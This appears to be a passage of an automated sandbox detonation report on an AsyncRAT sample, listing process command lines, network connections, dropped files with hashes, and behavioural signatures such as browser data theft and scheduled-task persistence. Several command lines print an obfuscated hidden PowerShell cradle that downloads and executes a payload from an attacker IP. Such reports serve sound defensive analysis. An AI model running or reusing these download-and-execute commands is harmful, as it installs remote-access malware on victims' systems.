094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\qmrxhh.wsf"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bfxmyw.wsf"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://146.103.11.88:222/8X.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)

Network

Country Destination Domain Proto
US 8.8.8.8:53 t.me udp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
NL 149.154.167.99:443 t.me tcp
US 8.8.8.8:53 mrreport.duckdns.org udp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:8808 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 146.103.11.88:222 mrreport.duckdns.org tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp
US 204.79.197.200:443 ieonline.microsoft.com tcp

Files

memory/2524-0-0x00000000009E0000-0x0000000000A00000-memory.dmp

memory/2524-1-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

C:\Users\Admin\AppData\Local\Windows Session Manage.exe

MD5 0dda2fcee8bec9941a9cf9c5bd866f10
SHA1 29dba01814ef258f12fc06f9771f8e795e0337af
SHA256 5732891fc200a9a59fdf3b2f96d5977152d1b76eb7220c8fcb28fc476945cddc
SHA512 030eee3ec291fe9a5bf7b6ab1155a853eec01dc13b7319e198872c3af8826f084dda7c60955daf5e893515a528485fadf62e1ad404060b664cecddb0093ed362

C:\Users\Admin\AppData\Local\Windows Session Manager.exe

MD5 0200bc51a30cbce0876330588b6dedc7
SHA1 0f905add671396719246bd2d1874bc64ccf73819
SHA256 f5a031207da80580fd8a2f853f4026bec68e7acddb9bbdb7b586ede6cc643d3b
SHA512 549bd875dbcf59cbe93b3a594d2124f0a463f7676ca4393c6d54e466133b8e579dfa28290f360d62854f62ec22ec34a02d7103242eb94a899f1ce84755b1bd8c

memory/2100-17-0x0000000000870000-0x0000000000886000-memory.dmp

memory/2100-19-0x00000000745D0000-0x0000000074CBE000-memory.dmp

memory/2532-18-0x00000000745D0000-0x0000000074CBE000-memory.dmp

memory/2532-16-0x00000000012F0000-0x00000000012F8000-memory.dmp

memory/2524-20-0x000000001A800000-0x000000001A810000-memory.dmp

C:\Users\Admin\AppData\Local\Telegram.url

MD5 cc6148a4dbe29abf8b39e3202de35525
SHA1 b2ab40ac9dff1091ad457696aaa51672d2636db3
SHA256 679e90ba30d213112efb2d120ee3892ca19f24960faed5e726b178b426b8448a
SHA512 fa9adaea0c5749353ef8a39e6a1b88321ddbc5b56dbbb04f6cb879c049bd9a175c58da9c7cdb7f09796a41d610c05439588214ef1749dde1a4559691294c0239

memory/2532-22-0x00000000745D0000-0x0000000074CBE000-memory.dmp

memory/2524-23-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

memory/2100-28-0x0000000004870000-0x00000000048B0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmp3092.tmp.bat

MD5 e1d2bfc0f28e40b4ed83c6519ecbfe6a
SHA1 cbde2ba57a6511d9d5d9f477a1ab369ea9b63cdf
SHA256 d38f4ffd8f6fd52b5ab2511e73d5c587420b88622b3d9f0b726c62079eb862e2
SHA512 fb2724451a88bda1b6bc6173dd911094f1a37b241dc4cce50c2c13e009b41ef647046397b9a3834ca754e26d55c7685a5c438b2209020219228af916b4f9b0f1

memory/2100-38-0x00000000745D0000-0x0000000074CBE000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab38FC.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

C:\Users\Admin\AppData\Local\Temp\Tar39EF.tmp

MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 6bc047e2e915f1761783345a9608bd2d
SHA1 e69eb33288ef3fee163962606cd6f05471314d01
SHA256 ae116d5a6d03569100b80ac77cd5b33981b81d71d935b38f49647fa652793721
SHA512 f03125e7c0b9687e888700297494ce69da402970cca9fe4be698b4017fd228c0dc3162c3874f59bcf2391772e03f119b3553d1a5c97431f8b3da1a14e14f6d3a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 b9a557326c95c7e2e76a4c2b572c488c
SHA1 826bb1ec22aee9711c01e0522de31e445ecebe2a
SHA256 96fbf32c8b2ae06ef13a8bf4bfed09e26150f27b7f6aeaf16155e58ae3b310dc
SHA512 a9ab43e215b46802fbd5b97b4d1d9bb24d657d8d440022c4d2a19e8e93f165ac539e8eca13c910265437daeb596625ae3b4e8bb6879b5789313057fdffeff407

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 b11ed1fe61a882c6e581839107f37e50
SHA1 a51c0a0f60ec90545b2aa7a2917cb0fdd149e930
SHA256 de982dd801dc90e0d34f6380b846d19c0e8e664d742f9845aa849ab183fddc27
SHA512 e04187a4291e939f520a20c344003baa81da251f21ecc3961aba2db30e951188baad21ba180e1567096043a2032baa152d6d73b24b5aff786ce1db7e081acd80

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 9c98d5380f72dc4aa31532d047fbd291
SHA1 39abb6237cea86ccece6f1e0f09d70513c6ccc49
SHA256 42c9b84ab5ae75adb3e06b2fcf78c17951714725c0bb7bfb23b5930942f4da60
SHA512 6be5d8b542a3531908a29e3d8d9d1944f8335ef15c162d13d8455087ee0bf1d8feb9c69d3648bef1dc807d5b30aa4d1d8b22de1e07063302f2ab294f83d1ecbb

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e98a3d47dbe4e67d92e3d3c3a8fd027f
SHA1 96a425f407ec71fbe64e0786dc9a5ed3f4209d3d
SHA256 f265334f8d26505dfb203728351e276a903e8a2238f0f76e258d458424895c5b
SHA512 844b237a71e4cee8cf38fc99450a5336a2c3214de23f4e0db07903af146fba84c66bc732f93f4b5e6fc633e14f121a573c203d249927dad18fca0509295c394f

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 3737d0cea702e82af8c41bf29d99cdbc
SHA1 ffd6b87da1dfcaae0329e156f7e2cd33639e4181
SHA256 6bef149392c98e73e3b03a408e82d95241b1b8139ed0432303882af0fe8cf146
SHA512 3a31ff7b964e7540b2a44187a12948c3933a9b51740a06f96783b4a4f6b9dfce03f97fe5fcbe059d07341cb59b1fc19f69299e1aaf288124f72e6e7e4d8ee890

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 4b088542fb5c724e6135ad7694e83613
SHA1 643d76fd739da08ea542831abee5a1909542e2a3
SHA256 f61a53f6157d84c466c29e4228ebb3681e8346b3a212cda16f9762d7f77c7982
SHA512 8bcddb1b93f05bd24b666b7c9b17b6afcb840dd6db6528cdaf44a77c058a7373b187a830fc63753637db98b2bdb8ef32c9d9bda7a773bfccbb0923c360ea3ad6

memory/2000-336-0x0000000074580000-0x0000000074C6E000-memory.dmp

memory/2000-335-0x0000000001290000-0x00000000012A6000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ab17c8ef0e5827a7b55cf7107f485ddb
SHA1 79d41309e8d3459f01f16724109f66988795bd9d
SHA256 facd9118895c4d566c762c577f341ec6ea597d2e0d932c36e3e2ff4f515cdd7a
SHA512 11fa5f572bfb76746493daec8022d495eec4c390336e0f59ff1a85b9655adb72956774078cbbf3a5e6ce9d3b2f28d65fcaccf9236df6de1d956cdeb25cc1af5a

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 cec0327bd3590c54a96bf1a249d75a71
SHA1 059a72aca1fc6d427ad666eff7e276f1201b99bc
SHA256 abb7239c43aaf662a5d3d972f701ecd3066fab4275f269fb8e6a4f6d550a60bd
SHA512 e96c6d704135c22e4fb708879ccdb28061f03c6399fff775275fd08df9e229fc5a15bbefa0b4b66a5a07fc2486a7c62a41f55a55b443adcca6101f223bbf283f

memory/2000-518-0x0000000000460000-0x00000000004A0000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 8550d48f35ef81637b5f25ca67539e59
SHA1 c0da4b498b7caacde0cb210218b46f1053740866
SHA256 42c5fd04469a0497b3a14cd8d737b06ebb56971f75697f5693050f95712958b7
SHA512 120c38f835ff4838f61c647d43228f19ce0f6b5dd9ff0da8801745e5bbdbc9cdaf1493b5fb0a5eae30c93980f37ecc2f0a5ba544b26d57a0c944b56d177a8a18

memory/2000-537-0x0000000074580000-0x0000000074C6E000-memory.dmp

memory/2000-538-0x0000000000460000-0x00000000004A0000-memory.dmp

memory/2000-539-0x00000000009D0000-0x00000000009E0000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 f31d012a5aa788cacc58fd810de0cb76
SHA1 4749e3dc954a053282d99f96b7050feab5743860
SHA256 bc6982440a6520ac5d0fb74eba498fcf8a7fa7bf87780daaefcf20aee321a16f
SHA512 9578d26e649593535c8b410b12719eab3849e327bac4e4781f26fb46ffbfb4886f696326d9996478c50fe2296bcb8f4f500739d9747ff8de305bc396df90b55c

C:\Users\Admin\AppData\Local\Temp\gaguzh.bat

MD5 8f681e9844e48b62ae75fabb6f317229
SHA1 cf985e3027cf4b46236c177e66901250d7592a09
SHA256 4589d5b17afd1ed516a3ad4b2748ae0b0325ae713b3e40eba05adb86605ef935
SHA512 3d592be4db8410df3e67904bd573a160f8dd43017c57e847851374f1926f4a2242f1ecdbf53fa614e0e470091ae29cf1c53c6acedc3fcfba396d5dda6de55043

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 6be3ffcdf330bd86a4201fde917691b1
SHA1 559ad43d10b8bc67c2f62c3d11e7d411f879ba7b
SHA256 8de57deb04db2f0a8deeda429f84f0f4b97f5a190518f61bc00353b664339529
SHA512 474bf0fd0dbebd42a24524478491fa3ee069a39afca3f2f5b74741979334d7d19f1fbb089261272e5b4a529f32ed1552dfd896ede7f7b4af11098959507e948c

memory/1244-603-0x00000000029A0000-0x00000000029E0000-memory.dmp

memory/1124-604-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1124-609-0x0000000002CC0000-0x0000000002D00000-memory.dmp

memory/1124-608-0x0000000002CC0000-0x0000000002D00000-memory.dmp

memory/1244-607-0x00000000029A0000-0x00000000029E0000-memory.dmp

memory/1124-606-0x0000000002CC0000-0x0000000002D00000-memory.dmp

memory/1244-605-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1124-602-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1244-601-0x000000006C170000-0x000000006C71B000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 d96cdf0abf6000b80c4c49db2eff7584
SHA1 0ea7ff628c1a35213814803d63e2dc110824fa53
SHA256 6e82c8a8dc78499789f5e76d331bc07faca81bc069d9d297f8b1f8ddf1ef102a
SHA512 1c39c45190cbaca74725befa7645307e6c5814d688611c45e008428161a4d4a0a729563d16805e5d5c93e08b1dc021cbe9186ba898c8f145bff00ab74706d863

C:\Users\Admin\AppData\Local\Temp\qmrxhh.wsf

MD5 7ecb4c8ffea45ae4b8e12fd5f8f891eb
SHA1 a95aff7b0051544f68428199b8f042d28fe1207f
SHA256 de91c39430065d9d707bf5cfc90b7816d377d5822f379a65ef06f606e88a55d5
SHA512 b1de50dda1b9990a271b2d4e4ce1c69e7c5ac63c40567e672c04f620a62dedeea8da951dc3a26e2633a56831dce6e289a1a1ce9a6f61f3f38d2f6d93e25ee640

memory/2000-649-0x0000000000E60000-0x0000000000E74000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OORQXHVT\SS[1].txt

MD5 b8a7b133191c0543199da1e93a7c65ac
SHA1 72ea81ecccbdd8680749a089352f4ce43ca3d548
SHA256 bd04f211afd5989130e8a0e35ea0d7be1e1540412ea3bd4b1557235db3e687a2
SHA512 73a7d3945eff66f42fba2a8df1f05767080666275c1cf2f0350d3af4bfc9fc8843af2624a8737d70055fddb72532f17dd1af52d2ed1b1b774b25d026df3f2a39

memory/1228-664-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1228-674-0x0000000001ED0000-0x0000000001F10000-memory.dmp

memory/1228-689-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1228-690-0x0000000001ED0000-0x0000000001F10000-memory.dmp

C:\Users\Public\Conted.vbs

MD5 110da9d3474ba64fa1a18c173685c25d
SHA1 9f093829518a9268bf9807fda7bef47e7832c497
SHA256 a31dbd6f7416f150403c19be69f02d5e8608f5e7fae88a29831d40db15849b60
SHA512 ef5fb4415fbd12e633ad964ca132ac3be81bfacd489db788b86fc7ef245d6f51bc08faecaf24874649d0c754b1892075a28042bf8483ab85b1996a25cfa57443

C:\Users\Public\Conted.bat

MD5 759278dd3dc3679bf7efd1ec681c0aa1
SHA1 72b37494696deea940ac75b4c4e06e2b6ce419ef
SHA256 cba344447d8228d88c93d64ffdcda1de8562ef41adc4901191548e00bbfc5f19
SHA512 8b4f63354c5aa1ec4102e7aadbb2da34b2a0ba2d3ae6b8d22a70fd75c3c3b9e70cd4ce8128bd50cb400970697c49810c4ef69f96352e36ba4f2b7a647ab8a27f

memory/1244-706-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1124-705-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/1228-707-0x000000006C170000-0x000000006C71B000-memory.dmp

memory/2388-708-0x000000006C170000-0x000000006C71B000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 0d917e8e5f166f4ffd2c288f6f6687d5
SHA1 f2e8f57ddae58f2aef0553d327a599e484f5f81a
SHA256 b76fcdd7804a118cc19c23f274438714f35fa82cc7f6608e889215043c291334
SHA512 5ec74d60a1df45e04b1663d392cb1b6f1d0ffe1e5e86109c701d9997a8c116dcdc6c1c67e7ae2b388a56e362d8e0516fc96d896a1eedcba7317d969f5820747e

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 0debcb13fca77b28b213cdfb8ad9b695
SHA1 a9908c4318f53c45e36c5215534d8abb59e58d79
SHA256 22de255bd4934c8267e913ea3d60697bb23dd6d1d33b99e750c1b954e90f86d7
SHA512 05b2f4b6703e4e5777b0a53ced8c34a1d3982a36101c7abf1454ab29e70e0ad2cc48c86fbc0afdedc5323f92e08ec83449e6c34fb794f3326c462f083b084764

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 dcacdb1d5afc5ee721b42ff05dd1f607
SHA1 63f4aaa0eb03d532cb32e8b8fa6792964ebc5250
SHA256 475577066242c3f062a320bdb77759e63e4a6db38be2ae2ab30d7db31114527f
SHA512 8230145cbec40214333ba65095943b54a48e9d90b59d487eaf0507364497d5948d5cf76aa6e8216bdc58903c7f874e630541746df4b196b905b95cfb19d14d51

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 a99eb8a5eee583c9b358da553f11f485
SHA1 368432144564e214f72f74b96ea8a7282d0c2f25
SHA256 d856b0bb2408156cfe6cd1a609a59692db1d0a218197c76ebd241f0ca8051bfc
SHA512 ef8c8ccfa0bf81aca29b852123bccb23e3a0fb6df37f15d4190cfda58b3d6e4225d3fc743d503ae9d620365fcf8ac0253153b28f1de844b2f296c049af7f9331

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 ac106b2f01f378fa0d8b560ac47c2708
SHA1 b58be4ff11ff719fc6715edf6d9d767f22a9b684
SHA256 8936806c4c9fb6610c06aae2c8d2f62b99dcfc5a1eb1e4c56255ad169773f98b
SHA512 18208ba46ba25fc21e7ce7b964af086b1d5b354ce86b5837127798d535f3e67ff4cc4d449a57def70ed32687e4efe96a2a4256bdd0d3f054148080739aba4864

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 66aa49faa46861cf8489f9c2230e83ad
SHA1 7743d2e7f0502d2792aefea949626ce5d5642f19
SHA256 0c987e8bbea71845aa9a68e7d39b1a1435cc30efb7cf2ea2f842eeac41ab3c41
SHA512 b80b45b435b9ad3590ffa26cd7b2ee3e7c3299828e09d8f94c77534ce9f3bf20279a2eab7e1a030cfb6d7a3fa18000b28317805fd1d9bd9beb65895980f7845c

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 283680b5182ada5c8969b0d8087f4646
SHA1 2445e19b37518c8b0a74d7852d0103fe3305b656
SHA256 25ab1254828fc980f6cd67568ba8cc1910a3e0b3d56594b04ac7756d46db69ca
SHA512 8d7dea1e409d85f9166ca709a1227902bb25847756c0e9da18923c51fd1971ceaf3d2f96d28e891e07d0334e78897b065c57dad85e1d1c2a8a8f824a34df1bef

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 9cd4caefd6fe3ded94dd8d93b9600a7f
SHA1 6eb169309fbc1577c184a7578e9ab11886c57e35
SHA256 4afdc50df5dd20930c312f2b4f6ae5a00c1481cc655d8bcd348971c8f6e3cb8e
SHA512 3baa4166c0e2372250e3e000b4a2d459a3370165577dd675ac7063cb78c303967a211582e5ac281feb357b29a45682f7300e5474a48b8f6f9244ecf2e57a52f7

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 e4a210467b73ae8543b2ff9f4cd7100c
SHA1 33b471a90cc9fed66b8826c9683516e604b7d665
SHA256 82473775633b0c98d5650a7379116ee6a97471c5e45b553957dcd3653481b561
SHA512 669a5fe393676b9a44f9a67b20b94a413dbea7422a58c66a9f817d8006076679fa25216eb6df55eaaecc9b05cf258377b7a3d21ab5acf7527f4a0b10c9bac103

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 1999df0477cd96ba50d3037e8cdabd0a
SHA1 7a104c5770b7e598a99d02b2552123981d3661a9
SHA256 b4212d2da49824745bd418361e591a9ed545ad2855d2db5a223f225cb8b0300a
SHA512 03737066a916d80c4e5bf1b2c8622c4c627074efb9d09d227b26adc8da425268224a2a8fdf3ac3b411cd8de2e9f6ea911cffe69bf1ba957e5813d2db9dc7d74a

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-06 01:48

Reported

2024-04-06 01:50

Platform

win10v2004-20240226-en

Max time kernel

146s

Max time network

153s

Command Line

"C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\WScript.exe N/A

Reads user/profile data of web browsers

spyware stealer

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
